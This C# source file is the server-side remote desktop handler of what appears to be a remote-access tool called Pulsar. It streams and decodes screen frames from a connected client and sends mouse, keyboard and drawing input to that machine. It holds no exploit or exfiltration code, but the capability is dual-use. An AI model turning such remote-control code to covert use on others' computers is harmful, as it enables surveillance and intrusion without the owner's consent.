using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.Video.Codecs;
using Pulsar.Server.Networking;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using System.Collections.Concurrent;

namespace Pulsar.Server.Messages
{
    /// <summary>
    /// Handles messages for the interaction with the remote desktop.
    /// </summary>
    public class RemoteDesktopHandler : MessageProcessorBase<Bitmap>, IDisposable
    {
        /// <summary>
        /// States if the client is currently streaming desktop frames.
        /// </summary>
        public bool IsStarted { get; set; }

        /// <summary>
        /// Gets or sets whether the remote desktop is using buffered mode.
        /// </summary>
        public bool IsBufferedMode { get; set; } = true;

        /// <summary>
        /// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
        /// </summary>
        private readonly object _syncLock = new object();

        /// <summary>
        /// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
        /// </summary>
        private readonly object _sizeLock = new object();

        /// <summary>
        /// The local resolution, see <seealso cref="LocalResolution"/>.
        /// </summary>
        private Size _localResolution;

        /// <summary>
        /// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
        /// </summary>
        /// <remarks>
        /// This property is thread-safe.
        /// </remarks>
        public Size LocalResolution
        {
            get
            {
                lock (_sizeLock)
                {
                    return _localResolution;
                }
            }
            set
            {
                lock (_sizeLock)
                {
                    _localResolution = value;
                }
            }
        }

        /// <summary>
        /// Represents the method that will handle display changes.
        /// </summary>
        /// <param name="sender">The message processor which raised the event.</param>
        /// <param name="value">All currently available displays.</param>
        public delegate void DisplaysChangedEventHandler(object sender, int value);

        /// <summary>
        /// Raised when a display changed.
        /// </summary>
        /// <remarks>
        /// Handlers registered with this event will be invoked on the 
        /// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
        /// </remarks>
        public event DisplaysChangedEventHandler DisplaysChanged;

        /// <summary>
        /// Reports changed displays.
        /// </summary>
        /// <param name="value">All currently available displays.</param>
        private void OnDisplaysChanged(int value)
        {
            SynchronizationContext.Post(val =>
            {
                var handler = DisplaysChanged;
                handler?.Invoke(this, (int)val);
            }, value);
        }

        /// <summary>
        /// The client which is associated with this remote desktop handler.
        /// </summary>
        private readonly Client _client;

        /// <summary>
        /// The video stream codec used to decode received frames.
        /// </summary>
        private UnsafeStreamCodec _codec;        // buffer parameters
        private readonly int _initialFramesRequested = 20; // request 20 frames initially for 60 FPS
        private readonly int _defaultFrameRequestBatch = 15; // request 15 frames at a time for sustained 60 FPS
        private int _pendingFrames = 0;
        private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
        private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch();
        private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
        private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames

        private readonly Stopwatch _performanceMonitor = new Stopwatch();
        private int _framesReceived = 0;
        private double _estimatedFps = 0;

        private long _accumulatedFrameBytes = 0;
        private int _frameBytesSamples = 0;
        private long _lastFrameBytes = 0;

        /// <summary>
        /// Size in bytes of the most recently received compressed frame.
        /// </summary>
        public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);

        /// <summary>
        /// Average compressed frame size in bytes across the current streaming session.
        /// </summary>
        public double AverageFrameSizeBytes
        {
            get
            {
                long total = Interlocked.Read(ref _accumulatedFrameBytes);
                int count = Volatile.Read(ref _frameBytesSamples);
                return count > 0 ? (double)total / count : 0.0;
            }
        }

        /// <summary>
        /// Stores the last FPS reported by the client.
        /// </summary>
        private float _lastReportedFps = -1f;

        /// <summary>
        /// Shows the last FPS reported by the client, or estimated FPS if not available.
        /// </summary>
        public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;

        /// <summary>
        /// Initializes a new instance of the <see cref="RemoteDesktopHandler"/> class using the given client.
        /// </summary>
        /// <param name="client">The associated client.</param>
        public RemoteDesktopHandler(Client client) : base(true)
        {
            _client = client;
            _performanceMonitor.Start();
        }

        /// <inheritdoc />
        public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse;

        /// <inheritdoc />
        public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);

        /// <inheritdoc />
        public override void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetDesktopResponse d:
                    Execute(sender, d);
                    break;
                case GetMonitorsResponse m:
                    Execute(sender, m);
                    break;
            }
        }

        private void ClearTimeStamps()
        {
            while (_frameTimestamps.TryDequeue(out _)) { }
        }

        /// <summary>
        /// Begins receiving frames from the client using the specified quality and display.
        /// </summary>
        /// <param name="quality">The quality of the remote desktop frames.</param>
        /// <param name="display">The display to receive frames from.</param>
        /// <param name="useGPU">Whether to use GPU for screen capture.</param>
        public void BeginReceiveFrames(int quality, int display, bool useGPU)
        {
            lock (_syncLock)
            {
                IsStarted = true;
                _codec?.Dispose();
                _codec = null;

                // Reset buffering counters
                _pendingFrames = _initialFramesRequested;
                ClearTimeStamps();
                _framesReceived = 0;
                _frameReceiptStopwatch.Restart();

                // Start in buffered mode
                _client.Send(new GetDesktop
                {
                    CreateNew = true,
                    Quality = quality,
                    DisplayIndex = display,
                    Status = RemoteDesktopStatus.Start,
                    UseGPU = useGPU,
                    IsBufferedMode = IsBufferedMode,
                    FramesRequested = _initialFramesRequested
                });
            }
        }

        /// <summary>
        /// Ends receiving frames from the client.
        /// </summary>
        public void EndReceiveFrames()
        {
            lock (_syncLock)
            {
                IsStarted = false;
            }

            Debug.WriteLine("Remote desktop session stopped");

            _client.Send(new GetDesktop { Status = RemoteDesktopStatus.Stop });
        }

        /// <summary>
        /// Refreshes the available displays of the client.
        /// </summary>
        public void RefreshDisplays()
        {
            Debug.WriteLine("Refreshing displays");
            _client.Send(new GetMonitors());
        }

        /// <summary>
        /// Sends a mouse event to the specified display of the client.
        /// </summary>
        /// <param name="mouseAction">The mouse action to send.</param>
        /// <param name="isMouseDown">Indicates whether it's a mousedown or mouseup event.</param>
        /// <param name="x">The X-coordinate inside the <see cref="LocalResolution"/>.</param>
        /// <param name="y">The Y-coordinate inside the <see cref="LocalResolution"/>.</param>
        /// <param name="displayIndex">The display to execute the mouse event on.</param>
        public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex)
        {
            lock (_syncLock)
            {
                if (_codec == null) return;

                _client.Send(new DoMouseEvent
                {
                    Action = mouseAction,
                    IsMouseDown = isMouseDown,
                    // calculate remote width & height
                    X = x * _codec.Resolution.Width / LocalResolution.Width,
                    Y = y * _codec.Resolution.Height / LocalResolution.Height,
                    MonitorIndex = displayIndex
                });
            }
        }

        /// <summary>
        /// Sends a keyboard event to the client.
        /// </summary>
        /// <param name="keyCode">The pressed key.</param>
        /// <param name="keyDown">Indicates whether it's a keydown or keyup event.</param>
        public void SendKeyboardEvent(byte keyCode, bool keyDown)
        {
            _client.Send(new DoKeyboardEvent { Key = keyCode, KeyDown = keyDown });
        }

        /// <summary>
        /// Sends a drawing event to the client.
        /// </summary>
        /// <param name="x">The X coordinate.</param>
        /// <param name="y">The Y coordinate.</param>
        /// <param name="prevX">The previous X coordinate.</param>
        /// <param name="prevY">The previous Y coordinate.</param>
        /// <param name="strokeWidth">The width of the stroke.</param>
        /// <param name="colorArgb">The color in ARGB format.</param>
        /// <param name="isEraser">True if using eraser, false for drawing.</param>
        /// <param name="isClearAll">True to clear all drawings.</param>
        /// <param name="displayIndex">The display index to draw on.</param>
        public void SendDrawingEvent(int x, int y, int prevX, int prevY, int strokeWidth, int colorArgb, bool isEraser, bool isClearAll, int displayIndex)
        {
            lock (_syncLock)
            {
                if (_codec == null || !IsStarted) return;

                int remoteX = x * _codec.Resolution.Width / LocalResolution.Width;
                int remoteY = y * _codec.Resolution.Height / LocalResolution.Height;
                int remotePrevX = prevX * _codec.Resolution.Width / LocalResolution.Width;
                int remotePrevY = prevY * _codec.Resolution.Height / LocalResolution.Height;

                _client.Send(new DoDrawingEvent
                {
                    X = remoteX,
                    Y = remoteY,
                    PrevX = remotePrevX,
                    PrevY = remotePrevY,
                    StrokeWidth = strokeWidth,
                    ColorArgb = colorArgb,
                    IsEraser = isEraser,
                    IsClearAll = isClearAll,
                    MonitorIndex = displayIndex
                });
            }
        }        private async void Execute(ISender client, GetDesktopResponse message)
        {
            _framesReceived++;

            // Capture the FPS reported by the client
            if (message.FrameRate > 0 && message.FrameRate != _lastReportedFps)
            {
                _lastReportedFps = message.FrameRate;
                Debug.WriteLine($"Client-reported FPS updated: {_lastReportedFps}");
            }

            if (_performanceMonitor.ElapsedMilliseconds >= 1000)
            {
                _estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
                Debug.WriteLine($"Estimated FPS: {_estimatedFps:F1}, Client-reported FPS: {(_lastReportedFps > 0 ? _lastReportedFps.ToString("F1") : "N/A")}, Frames received: {_framesReceived}");
                _framesReceived = 0;
                _performanceMonitor.Restart();
            }

            lock (_syncLock)
            {
                if (!IsStarted)
                    return;

                if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
                {
                    _codec?.Dispose();
                    _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
                }

                if (message.Image != null)
                {
                    long size = message.Image.LongLength;
                    Interlocked.Exchange(ref _lastFrameBytes, size);
                    Interlocked.Add(ref _accumulatedFrameBytes, size);
                    Interlocked.Increment(ref _frameBytesSamples);
                }

                using (var ms = new MemoryStream(message.Image))
                {
                    try
                    {
                        var decoded = _codec.DecodeData(ms);
                        if (decoded != null)
                        {
                            EnsureLocalResolutionInitialized(decoded.Size);
                            OnReport(decoded);
                        }
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Error decoding frame: {ex.Message}");
                    }
                }

                message.Image = null;

                long serverTimestamp = Stopwatch.GetTimestamp();
                _frameTimestamps.Enqueue(serverTimestamp);
                
                if (_framesReceived % _fpsCalculationWindow == 0)
                {
                    double elapsedSeconds = _performanceMonitor.Elapsed.TotalSeconds;
                    _estimatedFps = _framesReceived / elapsedSeconds;
                    
                    if (_framesReceived >= 100)
                    {
                        _framesReceived = 0;
                        _performanceMonitor.Restart();
                    }
                }
                
                while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }

                Interlocked.Decrement(ref _pendingFrames);
            }

            if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 8))
            {
                await RequestMoreFramesAsync();
            }
        }

        private void EnsureLocalResolutionInitialized(Size fallbackSize)
        {
            if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
            {
                return;
            }

            var current = LocalResolution;
            if (current.Width <= 0 || current.Height <= 0)
            {
                LocalResolution = fallbackSize;
            }
        }

        private async Task RequestMoreFramesAsync()
        {
            if (!await _frameRequestSemaphore.WaitAsync(10))
                return;

            try
            {
                int batchSize = _defaultFrameRequestBatch;

                if (_estimatedFps > 40)
                    batchSize = 20;
                else if (_estimatedFps > 30)
                    batchSize = 15;
                else if (_estimatedFps > 20)
                    batchSize = 10;
                else if (_estimatedFps > 10)
                    batchSize = 5;
                else
                    batchSize = 3;

                Debug.WriteLine($"Requesting {batchSize} more frames (estimated FPS: {_estimatedFps:F1})");
                Interlocked.Add(ref _pendingFrames, batchSize);

                _client.Send(new GetDesktop
                {
                    CreateNew = false,
                    Quality = _codec?.ImageQuality ?? 75,
                    DisplayIndex = _codec?.Monitor ?? 0,
                    Status = RemoteDesktopStatus.Continue,
                    IsBufferedMode = true,
                    FramesRequested = batchSize
                });
            }
            finally
            {
                _frameRequestSemaphore.Release();
            }
        }

        private void Execute(ISender client, GetMonitorsResponse message)
        {
            OnDisplaysChanged(message.Number);
        }

        /// <summary>
        /// Disposes all managed and unmanaged resources associated with this message processor.
        /// </summary>
        public void Dispose()
        {
            Dispose(true);
            GC.SuppressFinalize(this);
        }

        protected virtual void Dispose(bool disposing)
        {
            if (disposing)
            {
                lock (_syncLock)
                {
                    _codec?.Dispose();
                    _frameRequestSemaphore?.Dispose();
                    IsStarted = false;
                }
            }
        }
    }
}